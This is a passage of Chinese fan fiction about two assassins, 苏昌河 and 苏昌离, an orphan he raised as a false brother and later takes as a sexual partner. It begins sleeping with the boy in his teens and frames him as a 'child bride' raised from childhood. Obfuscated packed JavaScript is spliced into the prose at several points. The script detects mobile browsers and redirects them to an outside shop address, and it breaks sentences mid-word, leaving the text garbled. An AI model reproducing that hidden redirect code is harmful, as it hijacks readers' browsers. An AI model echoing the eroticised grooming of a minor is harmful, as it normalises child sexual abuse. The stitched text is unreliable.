《[暗河传]悲欢离河》 3. 人有阴晴圆缺 暗河很多人都说,苏昌河只把苏暮雨当家人,有些人这时候会产生疑问,那苏昌离呢?苏昌河可是还有个亲弟弟的。不过很快就会撇去那点疑惑,也许那只是苏昌河重视苏暮雨的一种说法,也许苏昌河真的不在乎自己的亲弟弟,那也不关旁人的事。 苏昌离从来不对此发表意见,对苏昌河叫“大哥”,对苏暮雨也很亲近地唤“雨哥”,好像他真的有两个哥哥。 这点事儿还真的很难言说,首先苏昌离确实和苏昌河没有血缘关系,其次,苏昌离在苏昌河的人际关系里也不是在兄弟这个位置上,苏昌河是把苏暮雨当弟弟看待,苏昌离嘛……说是床伴未免太过难听,苏昌河琢磨了很久才恍然大悟,苏昌离是他给自己养的童养媳。 在天启第一眼看到这个衣衫褴褛、奄奄一息的小孩时,苏昌河还以为是被他抛弃的弟弟来找他索命了,老人说枉死的小孩会变成厉鬼,南荒诡事多,也有婴灵的说法,哪怕变成鬼苏昌河也很高兴看到自己弟弟回来,走上去一摸,才失望地发现是活的。 但这小孩实在和弟弟很像,苏昌河就把他捡回去养了,有他一口吃的,就饿不死这小孩。 在天启没待多久,苏昌河意识到在这里找不到他想要的东西,就离开了这座繁华但严苛的城市,当然带着捡来的小孩一起。 他让小孩叫他哥,但又明确地告诉小孩他不是自己弟弟,无聊的时候就捏着小孩的脸看,有时候捧着他脸说“哥一定会让你好好活下去”,有时候小孩难得吃到一点好东西开心的时候,他突然阴恻恻地说:“我弟弟死之前都没吃过。” 小孩被他折磨得又依赖又害怕,成天被他吓得半死,他不在身边的时候更是惶恐不安。 摸爬打滚一段时间,苏昌河决定好自己未来的去路了。他试着找过几个武林门派,已经知道自己武学资质不怎么样,想要报仇、想要获得能掌控自己人生的力量,走正路估计是走不通,那就只能走邪路,都已经走邪路了,当然要走最邪的那条。 至于这个假弟弟,他没多想就带上了。被暗河收下之后,教习对着年龄太小的孩子发愁,苏昌河才后知后觉,哪怕找个牙人把这个长相可爱的小孩卖进高门大户里当仆役,都比毫无选择地跟着他进暗河好吧,他还能多得一笔路费呢。 还有机会放小孩走的时候,苏昌河脑子里从来就没这个选项。 事到如今再想也晚了,小孩进了暗河就不可能被放出去,暗河已经决定收下苏昌河,也不可能当着他杀了他弟弟。 小孩就这么勉勉强强地被允许在炼炉边缘生存,吃得不说多好但能管饱,训练量打对折,完不成也不受什么惩罚,在他到达暗河收孤儿的最小年龄之前,还有那么一段时间的好日子可以过,也算苏昌河没骗他了。 那之后很长时间苏昌河都没去看他,实在抽不出空。苏昌河凭自己找上暗河赢来的关注已经在被检验过资质后消耗一次了,在把这份关注挥霍完之前,他必须成长到足够强,得比那些有武学基础、资质比他好的孩子都成长得更快,拼了命的努力都还不够,命是他拥有的最重要也最不值钱的资本。 一直到跟苏暮雨搭上,苏昌河再因为过度训练、或者被其他无名者暗害、或者出任务受伤而爬不起来的时候,苏暮雨就会特地去炼炉把小孩接过来看他。 苏昌河对这个假弟弟没什么话可说,跟他倾诉苦累或者以这副血淋淋昏呼呼的样子强作无事都很可笑。 于是多半是小孩坐在他床沿,紧挨着他,絮絮叨叨说自己在炼炉的经历,开始做哪些训练,新来了哪些孩子,乃至吃了什么,能从天亮说到天黑,一直说到嗓子哑。 苏昌河闭着眼睛左耳进右耳出,心想好久不见这小孩怎么这么能说话了,记得刚捡来的时候怯生生的,能一整天都不吭声。 等天黑小孩必须回去他在炼炉的住所,一步三回头地走出屋子,苏昌河才想起来,是他强迫小孩养成这个习惯。以前他带着小孩流浪的时候,如果把小孩留在某个落脚地,自己独自出去找食物、找出路,回来一定逼小孩交代自己不在的时候他干了什么,一丝不漏,巨细靡遗。 于是苏昌河的心情就好起来。 爬出鬼哭渊之后,苏昌河去炼炉看小孩,摸着他脑袋说:“你哥我有名字了,苏昌河,你呢,就叫苏昌离。 他自学来的北离官话里,有一句诗,“人有悲欢离合,月有阴晴圆缺”,昌河昌离,挺好的名字,就像给小孩盖个自己的戳子,哪怕不在自己跟前的时候也能宣告所有权。 他没有征求小孩的意见,小孩也从来没反对过他的任何决定。 得到新名字的小孩琢磨着:“苏昌离……”他还挺高兴,抬头朝苏昌河欢喜一笑,“谢谢哥哥。” 苏昌河原本的打算是冠姓入三家之后就把假弟弟捞出来,反正三家本家子弟都是家学,不用去炼炉,更不用下鬼哭渊,不是说喝了血酒之后都是一家吗,那他弟弟也算半个苏家人。 不过出了意外,他这条命算是苏暮雨给捞回来的,再得寸进尺有点不好意思,现在看着小孩的笑脸,苏昌河一拍大腿,他苏昌河难道是什么很要脸的人吗! 当天他就把苏昌离带回自己在苏家被分配的屋子,然后转头找苏家主要手书,苏家主爽快同意,不过提了个条件,苏昌离可以不下鬼哭渊,但三年后他那一届无名者,苏昌离必须是第一。 这次苏家预定很久的两个好苗子,差点被慕家整废一个,苏家主也是憋了口气要找回场子。 苏昌河略带不服地想,如果没有苏暮雨,他这一届他也是第一,不过苏暮雨……有苏暮雨就没办法了。 苏昌河一口替苏昌离答应下来,回去就捏着他的脸说:“不许丢老子的脸,明白吗?” 性格软绵绵的苏昌离罕见极为认真严肃地承诺:“我一定会做到。” 苏昌河的语气又软和下来,笑着道:“没关系,做不到也没事,哥会保护你的。” 这小小的一条性命,从初见起,就一直捏在苏昌河手里,苏昌河怎么会允许被别人夺走呢? 如果苏昌离真的做不到怎么办,再说吧,反正暗河为苏昌河破例已经不止一次,打从他找到暗河那天起,暗河实在已经为他破过很多例。 再怎么破例,苏昌离将来还是要当杀手的,苏昌河捞不到本家前辈教导他,自己也没那个耐心,还是让苏昌离回炼炉去训练。 苏昌离在炼炉一众朝不保夕的无名者里扎眼得要命,他有名字,有归处,晚上要回他和兄长的屋子去睡,吃穿都用兄长的份例,受伤也不是用教习分发的有限药物之后自己忍着,兄长会带他去慕家的生死药坊。 要苏昌河来说,大家都不过是蝼蚁工具,可这点小小的安逸在一无所有的无名者中太过刺眼,羡慕、嫉妒、恨,无数的情绪化作明刀暗枪朝苏昌离涌过去。 苏昌河没插手,好苗子都有炼炉的教习盯着,就跟当年他和苏暮雨的待遇一样,要论习武资质,苏昌离比苏昌河强不少,炼炉有位练重剑的师范特别欣赏苏昌离,对他倾囊相授,比当年苏云绣对苏昌河和苏暮雨要上心得多。 苏昌离体现出一种苏昌河身上没有的心无旁骛,成天里除了练剑万事不理,也不和旁人打交道,因为过分专注,生活显出一种平静稳定,他那心满意足,甚至堪称幸福的态度,连苏昌河都觉得刺眼。 苏昌河已经不怎么在苏昌离面前提起亲弟弟了,但没有一刻忘却过,他亲生弟弟已经死了,幼小的生命夭折于他的抛弃。 因为苏昌离勉强算是平安地长大了,苏昌河会想,他弟弟非死不可吗?当时真的绝境到他不放弃弟弟就会两个人都活不成吗?如果他再坚持一下,会不会其实可以把弟弟活着带离南荒? 然后他又会想,如果一直带在身边的是亲弟弟,他会不由分说就带到暗河来吗? 有时候苏昌河认为,既然是亲弟弟,更应该跟他保持一致,有苦一起吃、有仇一起报,有时候苏昌河又觉得自己没那么狠毒,是亲弟弟他可能会多为对方打算一些。 终归那孩子已经死了,这个问题永远都没有答案。 虽然住在一个屋檐下,苏昌离跟苏昌河相处的时间很稀少。 苏昌河已经是暗河的正式杀手,出去执行任务有时几个月都不回来,任务量也频繁,苏暮雨有任务都不想接,苏昌河没任务都会主动去要几个。 哪怕苏昌河人在暗河,也有一堆事情要忙,他几乎刚从鬼哭渊出来就开始搞自己横跨三家的小团体,一开始是无名者抱团取暖,然后开始拉拢一些比较边缘的本家子弟,这个时期他还没有生出在暗河改天换日的决心,只是本能地组建自己的势力。 日常训练,苏昌河又基本是和苏暮雨一起,他们俩年龄相仿、境界相当,很多任务都是一起出,保持对彼此的了解和默契十分重要。 苏昌离在炼炉的训练时间倒是很稳定,苏昌河则行踪不定作息颠倒,哪怕同在暗河,两人可能十天半月都碰不到面,即使有,也就匆匆一面。 偶尔两人都有空在屋里的时候,苏昌离就一定要和苏昌河挤在一处,苏昌河没耐心陪苏昌离练武闲聊,他还是保留着小时候的习惯,无聊了就捏着苏昌离的脸看。 苏昌离小时候长得实在很像苏昌河亲弟弟,和苏昌河自己也有两分相似,所以只要苏昌河不刻意说,旁人都以为他们是亲兄弟。 如今苏昌离相貌渐渐长开,小孩子长大相貌都会变,苏昌河不知道自己亲弟弟如果能长大会是什么样子,父母的面貌也已经淹没在脑海深处的血色中模糊不清了。但苏昌离眉目间还是看着和苏昌河有两分相似,那苏昌河只能认为弟弟长大了就会是这样。 苏昌河并不把苏昌离当弟弟看,但持续不断地在苏昌离身上找弟弟的影子,他真正惦记的也并不是那个相貌性格都记不清的孩子,他要从苏昌离身上看到的是自己破碎的童年和家庭,自己曾经的软弱和卑劣,自己从那时起从未断绝的仇恨和痛苦。 这样一个复杂的象征是没法当弟弟看待的。所以有时候苏昌河其实并不想见到他。 苏昌离倒是生了一副记吃不记打的性子,苏昌河给他的苦头半点都不往心里去,只记得苏昌河对他的好。 可能因为流浪那段时间,必须紧紧依赖苏昌河才能活下去,在暗河相处的时间又很少,每次见到苏昌河都是苏昌河重伤到起不来的时候,苏昌离就一直表现得很粘人,每次见面都絮絮叨叨,忧心忡忡,贴着苏昌河不放。 小孩子时期还好,到青少年时期还这样,苏昌河觉得有点烦。如果长时间的分离会导致想要亲近的需求,那过量的亲密就会导致想要远离吧?苏昌河就把苏昌离睡了。 男人的欲望是本能,找暗河里的女杀手太危险,何况暗河阴盛阳衰,少数几个本家姑娘都被自家宝贝得跟什么一样,人家不一定看得上自己,到外面找姑娘同样很危险,干杀手的没人敢把自己最脆弱最不设防的时刻交给陌生女子。 气血旺盛的年轻杀手们通常都是自己解决,苏昌河还知道有些同僚会互相之间帮忙解决,苏昌河能放下心信任的人很少,苏暮雨他是真当兄弟看待,苏昌离反而不是兄弟。 苏昌离一如既往地完全不会反抗苏昌河,苏昌河就知道这小孩特别乖,颠沛流离的时候被他一路阴晴不定地折磨都没跑,被他说“找了个好去处”擅自带进暗河,在炼炉里拼死求活也不恨他,被他睡了也只会黏黏糊糊地喊哥。 某种程度上,苏昌河的策略很成功,苏昌离躲躲闪闪一个月,然后在苏昌河一如既往毫无变化的态度里慢慢恢复正常,之后像是获得某种保证,不再黏苏昌河那么紧了。 那时候苏暮雨还没当上傀,最先发现他们俩的关系,这个年龄的苏昌离比苏昌河矮一个头,被苏暮雨撞见苏昌河把苏昌离抱在腿上亲,外衫都脱了一半。 苏昌离被吓得差点跌下去,不好意思地叫了一声“雨哥”,跟个兔子一样蹿到屋里去了,丢下苏昌河面对遭受冲击的苏暮雨,苏暮雨那个惊骇的表情好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟住所喻示的特殊一样,苏昌离就这么格格不入地在暗河生存下去,他算不上真正的本家子弟,可也不算无名者,他没有下过鬼哭渊,甚至连血酒都没喝过,始终作为苏昌河的一个附属品生存在苏家。 苏昌河不无得意地想,苏昌离不是苏家的苏,是他苏昌河的苏。 再之后,以杀人害命的方式步入江湖,苏昌离适应得还行。 提魂殿不是苏昌河开的,没法控制派给苏昌离的任务,但以苏昌河掏空暗河组建起彼岸的本事,怎么都不至于让自己弟弟死了。 随着武功修为稳步提高,苏昌离执行的任务并不少,从无失败的记录,但没有任何名号流传出去,牢牢隐没在苏昌河的阴影之下。 直到苏昌河当上大家长,搬去星落月影阁,他在苏家的屋子就留给了苏昌离。 一心练剑的苏昌离突然就对各种内务感兴趣起来,每天的固定流程是去找苏家主不在而暂领苏家的苏栾丹要点事情,再去找苏昌河汇报。 苏栾丹只能找点琐事给他,因为这小子没效率至极,磨磨蹭蹭,没话找话,想尽办法拖延时间,留饭再留宿,苏栾丹都替他觉得累。 苏昌河只觉得这小子爱粘人的老毛病又犯了,治他还是那招,大白天就把苏昌离推到床帐里去了。 招数不在老,好用就行。 太絮叨的话,让他只能哭就好了。 苏昌河的方法简单却有效,做点亲密无间的事情,确实能缓解苏昌离的分离焦虑。做完了苏昌离还想把自己团吧团吧塞在苏昌河怀里,青年长手长脚,越是缩成团越显得好大一只,沉甸甸热烘烘,幸亏星落月影阁四面环水,不然热也要热死了。 苏昌离刚刚才哭到发不出声,现在嗓子还哑着:“大哥,让我搬到星落月影阁吧。” 苏昌河逗他:“用什么名目?” 以往大家长不是没有亲属,而是都出身三家,亲属自然都在本家,不会跟着搬到星落月影阁。 这小子还真想了个馊主意:“我来给大哥当傀。” 苏昌河懒洋洋地说:“我不需要那玩意儿。” 他捏着苏昌离的脸,这小孩虽然个头高,脸倒还是嫩呼呼的:“你能保护我什么?” 苏昌离郑重地说:“我保证一定死在大哥前面。” 苏昌河骤然一股愠怒,忍了忍才没一巴掌扇在这臭小子脸上。 苏昌离习惯苏昌河喜怒无常的态度了,丝毫没察觉自己说错了话,讨好地凑上来亲他。 苏昌河被贴着蹭了两下,另外一股火冒出来,暗骂这小子做事真是不顾场合,翻身而起,撑在上方,居高临下地看苏昌离,脸色算不上好看,苏昌离仍旧一点反省的意思都没有,眼巴巴地望着兄长。 苏昌河久违地升起不想看到这张脸的情绪,从散乱的衣服里摸出黑色里衣,拽过来把苏昌离上半张脸都盖上,然后才俯下身去。 薄软的布料覆在脸上,一甩头就能滑掉,可因为是苏昌河盖上去的,苏昌离没敢去动,第一次被蒙住眼睛,苏昌离有点不安,攀住他手臂:“哥……” 苏昌河说:“哭好听点,就让你搬过来。” 苏昌离被欺负狠了,隔天苏昌河早饭都吃完了,他还在睡。 他醒来之前,苏昌河就随便点了个苏家子弟,把苏昌离的行李都给搬来。 一直以来苏昌河没怎么藏着掖着,到这个时期暗河已经有不少人知道他和苏昌离特殊关系,不过他只跟苏暮雨解释过,其他人估计都以为他们兄弟乱/伦,暗河杀手里明着暗着用各种方式发疯的不胜枚举,乱/伦只是个很小的问题。 倒是这次苏昌离搬过来,基本上就是过了明路——苏昌河肯定不会再给他准备一间屋子,而是直接搬到自己屋里。 到时候人人都知道苏昌离是他房里人——有点伤人脸面,还是直接说是自己媳妇吧。 他就是这么有远见,八岁进暗河的时候就想到了将来当大家长的一天,七岁就给自己选好了媳妇从小养到大,下次跟苏暮雨见面就这么说,算无遗策说的就是他苏昌河! 4. 人有阴晴圆缺·少歌IF线 苏昌河得知苏昌离死讯的时候,宛如一瞬间感情被抽空,他没感到悲痛,而是莫名想起苏昌离说过的傻话,“我保证一定死在大哥前面”。 苏昌河忽然有一种预感,他自己也活不久了。 这一刻苏昌河想明白了困扰他很久的那个问题:只要他坚持不放弃,他亲弟弟是可以跟着他活下来的。他总是这样,对重要的人放手得太早,幼小重伤的弟弟,这些年渐行渐远的暮雨,还有一直乖乖给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏昌河想,他把昌离养得真好,可是他做什么了,他真的能把人养出这么好的样子吗?总不可能是暗河的功劳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196061|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 最后他得出结论,苏昌离自己就特别特别好。 暗河里嗜甜的人很多,苏昌河对口味没有特别的偏好,有次他出去短暂地体验人间的时候,听人说,过得苦的人都喜欢吃甜的。 原来如此,这不奇怪,就算不用下鬼哭渊的本家子弟,也有成年试炼、眠息法、祛痛散等着,领不完的任务、杀不完的人,还会经常被提魂殿用各种蝇头小利或者森严规矩逼着内斗、自相残杀,在暗河过日子就有吃不完的苦。 回到暗河,一如既往,昌离在等他。看到他就急匆匆迎上来,先用审慎的目光看他一遍,见他好端端的,才对他露出一个笑。 捏了下苏昌离的脸蛋,苏昌河心想,原来他也喜欢吃甜的。 6.炼假成真 苏昌离从有记忆起,就跟着哥哥在北离腹地流浪,哥哥告诉他,他们来自苗疆圣火村,某日村子突然被屠灭,只有他们兄弟二人幸存下来,哥哥带着他,追着屠村者的踪迹一路千里迢迢来到北离。 可能因为屠村那日受到惊吓,可能因为流浪的路上太苦,苏昌离对苗疆的生活完全没有记忆,可是随着哥哥的诉说,他脑中驻入许多模糊的影像,苗疆遮天蔽日的深山,家家户户的竹楼和火炉、欢快热闹的各种村民集会、性情爽朗又温柔慈爱的爹娘。 还有他的名字,小昌离连话都不怎么会说,哥哥一字一句教他说北离的官话,告诉他,不报仇他们回不去。哥哥自己都从来不说苗疆话,只是有时候,会抱着他喊一个名字,他把发音记了下来,反复在心里描摹,他也很想知道哥哥的名字,可是不敢问出口。 后来哥哥带着他进了暗河,爬出鬼哭渊之后,哥哥有了一个正式的北离名字,苏昌河,同时哥哥给了他苏昌离这个名字。 从此之后,他对外的名字就是苏昌离了。 在暗河苏昌河一口咬定对父母来处一无所知,从有记忆起就在街上流浪。他们兄弟俩都说话不太利落,对很多常识不懂,看起来就是从小没人管过的野孩子,暗河对苏昌河的说辞并没有怀疑。 小时候苏昌离不明白为什么,只是牢牢记着哥哥的吩咐,对任何人也都统一口径,说自己什么都不知道不记得,保有和哥哥共同的来处和秘密。 但是心里存着某个地方,很难分毫都不流露,炼炉教毒术课的时候,听到苗疆多蛊虫,苏昌离会不由得竖起耳朵,地理课讲各国地貌、门派、武学环境,讲到南荒,苏昌离更是会一字一句都记在心里。 炼炉的课程很基础,讲得不多,还没有进暗河之前苏昌河讲得多,可那是另一个角度的家乡,苏昌河口中的苗疆鲜艳又热闹,教习口中的南荒和苗疆荒凉又野蛮。 苏昌离都听进去了,练武越发刻苦,他不知道仇人是谁,可是相信总有一天能和哥哥完成复仇,回到家乡去。 天幸苏昌河和苏昌离兄弟俩武功资质都很好,在暗河这样的地方都能出类拔萃。而苏昌河作为兄长,比苏昌离先一步在暗河站稳脚跟,苏昌离之后在暗河的日子就比绝大部分无名者好过,甚至比很多边缘的本家弟子都好。 在苏昌河的暗中照拂下,苏昌离顺利度过鬼哭渊试炼,被带进苏家,成了一名不起眼但十分安全的杀手。 * 苏昌离出去做任务,回暗河的路上,看到一家打着苗疆风格旗号的首饰摊子,忽地走不动道。 寻常外地人对苗疆的印象往往就是蛊虫和银饰。闪闪发光的各色饰品看得苏昌离眼花,他想起很多大哥讲过的遥不可及的家乡,苗疆女子的褶裙,男子的翁背,小孩们的帽饰,三月三青年们对歌恋爱,六月六敬土地神,秋天盛大的庆庙,冬日里祭祖。 苏昌离不缺钱花,每次出门执行任务,大哥都会给他塞盘缠,他物欲不高,大部分都能原样带回去。 最后苏昌离掏出身上全部的钱买了一对戴在脑侧的银蝴蝶发饰,回到暗河,期期艾艾地送给苏昌河。 苏昌河问清他花了多少钱,说:“买贵了。” 然后苏昌河笑着往脑侧一插:“我得戴久点,才能回本啊。” 买回来之后,苏昌离才知道银饰很难保养,容易发黑,苏昌河为此还特地去慕家要了洗银子的药水,隔三岔五就要把发饰拿去泡泡。 第一次自己胡乱花钱就买了又贵又不实用的东西,苏昌离很不好意思,可是大哥没指责他。 之后他经常忍不住经常盯着大哥的发饰看,那对银饰和苏昌河的衣裳搭配起来非常好看。 苏昌离自己悄悄查过书,苗人的服饰多为深蓝黑色等暗色,但是染绣丰富,善用红白黄蓝等点缀出强烈的对比色彩。 不知道是不是来自苗疆的习惯,大哥总是穿着一身黑,点缀银和红,漆黑的底色上,银光闪闪,红线殷殷。 苏昌离模仿哥哥的穿着,挑有红蓝撞色刺绣的衣裳,选择性忽略,除了慕家那帮玩诡术的喜穿白衣之外,苏谢两家基本都是一身黑衣,搭配的颜色也就那几种。 因为那隐秘的怀念,苏昌离也喜欢银饰,他的发带和腰饰都是银链子,偶尔睡前解下银链的时候还会缠住头发。 苏昌离二十岁生辰,苏昌河也送了他一件银发饰,造型是枯叶堆中盘旋的两条蛇,像是苏昌河的风格,而不是苏昌离的风格。 苏昌河用轻松而不容拒绝的口吻说:“北离的习俗好像是二十岁要戴发冠,我觉得那玩意儿勒头发,你还是戴这个吧。” * 苏昌离从苏昌河手中得到彼岸的指环时,彼岸基本已经是成熟形态,内定的未来三家家主苏栾丹、慕青羊、谢七刀都已经就位,苏昌离在这个组织里的地位就是未来大家长的弟弟,作用就是没有任何作用。 苏昌离很难不为此生闷气,他知道大哥暗中有一股自己的势力,苏昌河行事并不刻意隐瞒弟弟,可是苏昌河一直避而不谈,苏昌离万万想不到苏昌河已经有了这么成熟的一个组织,自己竟然好像是最后一个加入的。 苏昌河见他垂头丧气,便逗他:“怎么,嫌大哥的势力太小了拿不出手?” 苏昌离满眼失落:“哥,你是不是觉得我太弱了,才什么都不告诉我?”其实苏昌离的武功并不弱,在同辈里一直都是顶尖的。 苏昌河理所当然地说“我不想冒失去你的风险。” 苏昌离就被这一句话哄好了,拿出积攒许久的私房钱去给苏昌河打了一对龙纹的发饰,苏昌河很给面子,立马换上,之后被因此慕青羊吐槽:“头儿,你的野心要不要暴露得更明显一点?” 苏昌离羞赧,他好像又给大哥添麻烦了,但大哥从来不会谴责他。 很多时候,只要看到苏昌河脑侧黑发间的一抹银光,苏昌离胸中就涌起幸福的感觉。 这个世界很不公平,可是他有哥哥,暗河很糟糕,可是他有哥哥,杀人为生很悲哀,可是他有哥哥。 苏昌河就是幸福。 苏昌离没想到他的幸福有一天会刺伤他。 争夺眠龙剑的那天晚上,就当着苏昌离的面,苏昌河说:“任何人都可以死,唯独苏暮雨不行。” 苏昌离一直都知道苏昌河重视雨哥,也听过有很多人说苏昌河在暗河之中只把苏暮雨当做家人,他以前没放在心上,因为他是苏昌河的亲弟弟啊,他们本就是一母同胞的血亲,不需要“当做”家人,这是斩都斩不断的血缘。 这是他第一次直面苏暮雨在苏昌河心中的地位,措不及防地被当胸刺了一剑。 那一夜发生了很多事,苏昌河成功继位大家长,苏昌离站在台阶下仰望着他,为大哥感到由衷的喜悦,而后突然注意到站在苏昌河身侧的苏暮雨,胸口忽然一痛。 * 尘埃落定,第二天大家启程回暗河,苏暮雨并没有一起,苏昌离松了口气,然后感到难言的自我厌弃。 一直到回到暗河,苏昌离都有些郁郁寡欢,他想说服自己,当时大哥只是情绪上头,是为了对下属强调雨哥的重要性,就算大哥这么说了,这么多年,大哥对他的态度从来不是“苏昌离可以死”。 无论是在炼炉,在鬼哭渊,正式成为杀手之后所有派给他的任务,派给他的搭档,他自己最清楚大哥对他用了多少心血。他就非要揪着一两句话不放吗? 可是人的情绪从来都不是理智能控制,这几天苏昌离都不怎么敢看苏昌河,苏昌河脑侧发饰微弱的银光闪一下,苏昌离都觉得眼睛发疼,像是会被那黯淡的光芒灼伤。 苏昌河搬到星落月影阁,苏昌离去帮忙,搬完后苏昌河单独把苏昌离留下,叮嘱他:“苏家家主的位置,是我违约,你注意点苏栾丹——” 苏昌离信誓旦旦:“我一定盯住他。” 苏昌河冷声道:“你给我躲着他走。” 苏昌离急切道:“大哥,我可以……” 苏昌河打断他:“知道有危险往上凑干什么?” 苏昌离脑中突然闪过那晚苏昌河的话,忍不住负气地想,危险又怎么样?反正谁都可以死—— 苏昌离以为自己面无表情,实际谁都能看出他委屈巴巴地盯着苏昌河。 苏昌河叹了口气:“昌离。”回过神来,他也知道那句话当着昌离说伤人心了。 “我不想——”他不想再失去弟弟一次了,苏昌离没有告诉过任何人,早在逃出圣火村那天晚上,他的亲生弟弟就已经死在他怀里,他掩埋了那具小小的身体,之后在前往天启的路上,捡到濒死的昌离。 昌离和死去的弟弟容貌非常相似,那时候才八岁的苏昌河觉得是上天把他弟弟还给他了,昌离就是他亲弟弟。 “——失去你,”苏昌河不容置疑地说,“所以如果我死了,你要跟我一起。” 虽然到了幽冥可能要面临对两个弟弟解释身份的麻烦,但那毕竟是死后的事儿,不用活着的时候操心。 从他把奄奄一息的昌离救活,对着他说出第一句“你是我弟弟”起,苏昌河就做好了这个决定。他做任何把性命压上赌桌的举动都不会顾虑昌离,因为他知道自己一死,昌离在暗河肯定活不下去,很快他们就能重逢了。 苏昌离惊愕,震惊至极地盯着苏昌河,他一直都知道大哥很重视他的安危、很珍视他的性命,可他想都没想过珍重的背后是这种态度,简直是在说苏昌河死到临头的时候会让苏昌离陪葬。 苏昌河勾唇一笑:“怕我了吗?” 苏昌离摇头,看着苏昌河的眼睛越来越亮,他兴奋起来了。 苏昌河既是他哥哥也是他的首领,既是他的保护者又是他的效命之人。以前他一直发愁的是,苏昌河对他只肯做前者,不愿意要他的命。 现在他知道苏昌河不是不要,而是一直攥在手心,从来没松开过。 苏昌离拼命追赶苏昌河,是怕跟不上大哥,会被丢下,现在他知道无论去哪儿他们都不会分开。只要还跟哥哥在一起,流浪不可怕,暗河不可怕,黄泉也没什么可怕的。 * 苏昌离无师自通,知道他对哥哥的感情变了。 以前他只想做一个合格的弟弟,一个能帮上忙、不拖累大哥的弟弟,现在,他生了妄念。 苏昌离克制不住想要亲近的欲望,总是找借口去星落月影阁,试图偷偷增加和哥哥的肢体接触,苏昌河好像完全没发觉,在他心里苏昌离始终是絮叨粘人的小孩子。 苏昌离感到很沮丧,可是因为苏昌河这份无知无觉的纵容,他胆子越来越大,这天去星落月影阁,苏昌河正在靠椅中仰躺着午睡,苏昌离站在门口看了一会儿,还是按不住心中的蠢蠢欲动,无声无息走过去,俯身偷偷亲他。 苏昌河的武功怎么可能被人盯着看那么久、被人近身还不察觉,只是感觉到是昌离,闭着眼懒得理这小子,等到热乎乎的气息直接扑在皮肤,温柔的、软软的东西印在脸上,后知后觉地意识到那是一个吻,苏昌河骤然睁眼。 苏昌离发现哥哥醒了,吓了一跳,然后对上苏昌河的表情,直坠冰窟。 苏昌河的脸色阴沉得可怕,苏昌离从来没见他神色这么难看过,苏昌河猛地攥住他的肩膀,苏昌离差点痛到叫出来。 苏昌河没有发火,极度压抑情绪而显得声音平稳得不像人类,定定地看着他:“你什么时候知道的?” 苏昌离满脸茫然和被吓到的惊恐,完全不知道发生了什么事情。 看到他这样子,苏昌河的表情慢慢缓和下来,钳住肩膀的手改为轻轻抓握,内力透体,轻松化开刚抓出来的淤血:“吓到你了吧,抱歉。” 苏昌离忍不住喊了声:“哥。”他想问问究竟是怎么了,可是刚刚是他先做了……做了心虚的事情,苏昌离的反应完全在他任何一种预料之外,他什么都问不出口。 苏昌河安抚地拍拍苏昌离的肩,方才痛得几欲骨裂的地方已经没有痛感了。 * 苏昌离被打发走了,苏昌河还阴晴不定地坐在原地。 那不是对亲生哥哥能做出来的举动,所以苏昌河第一反应是,昌离知道了,知道他其实不是自己真正的弟弟,自己一直在骗他,强行把另一个身份灌输给他。 苏昌河不能再失去弟弟一次,捡来的、骗来的弟弟也是弟弟。 那个真正和他一母同胞的弟弟,距离那孩子的死,已经过去二十多年了,那孩子在他脑海中的全部位置都已经被昌离所取代,苏昌河无数次对着昌离回忆过去,不仅骗过了昌离,也骗过了他自己,如今他回想起童年记忆,每一幕弟弟的身影都长着昌离的脸。 昌离小时候和他亲弟弟特别像,不那么像就不会被他捡回来取而代之,可是苏昌河认得出来,那是昌离,不是阿倪。 这么说好像不是很能区分,因为苏昌河在进暗河之前,有很长时间也对着昌离叫阿倪。 如果亲弟弟泉下有知,大约是会怪他,他这个当哥的就这么把弟弟的名字、身份、所有存在于世的痕迹都给了另一个孩子。 苏昌河想,他就是这么虚伪、贪婪、邪恶,他想要的,绝不容许从手中逃脱,他就要他弟弟——他就是要昌离。 苏昌河为人极端自傲,对于自己所选,定要执着到底。他选择了暗河,就绝不会像苏暮雨一直希望的那样从暗河离开,而要成为执掌暗河之人,他选中昌离这个弟弟,也是一样。 苏昌离不能知道真相,这世上只有苏昌河一个人知道昌离不是真正的阿倪,而苏昌河绝不会告诉他。 但是有些事情的真相并不非得宣之于口,苏昌河叫人取来苏昌离近期的全部动向,一边埋头重读,一边发散思维,从滴血认亲想到苗疆传说中的血蛊术,各种乱七八糟邪门歪道的方法想了一堆。 就着苏昌离行迹的记载,苏昌河终于想明白了,昌离不知道,以为他是亲哥哥,仍旧对他生了不轨的心思,还敢付诸行动 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真正的亲兄弟可能不必担忧,总归有斩不断的血缘连在两人之间,但他和昌离的关系下还藏着个可怕的谎言。 那么看起来只有一条路可走了。 ……也不是不行。 兄弟关系是假的,夫妻关系假不了,生米煮成熟饭,昌离哪怕再知道真相也跑不掉了。 苏昌河歪着身子托着腮,心想名声彻底要完蛋了,他和昌离在一起,旁人还不都以为是他欺负了昌离。 * 心意已定,苏昌河叫苏昌离过来谈话。 苏昌离满怀忐忑地进门,就看见苏昌河大马金刀地坐在内室,脸上摆出一副和蔼的表情:“昌离,过来。” 太诡异了,苏昌离一时不敢上前。 苏昌河微笑着说:“那天还真把你吓着了?” 苏昌离立马道:“没有!”快步小跑过去。 苏昌河让他在对面坐下,还给他倒了杯茶:“当时我反应太大,伤着你了,是我的错。” 苏昌离受宠若惊地捧着茶杯。 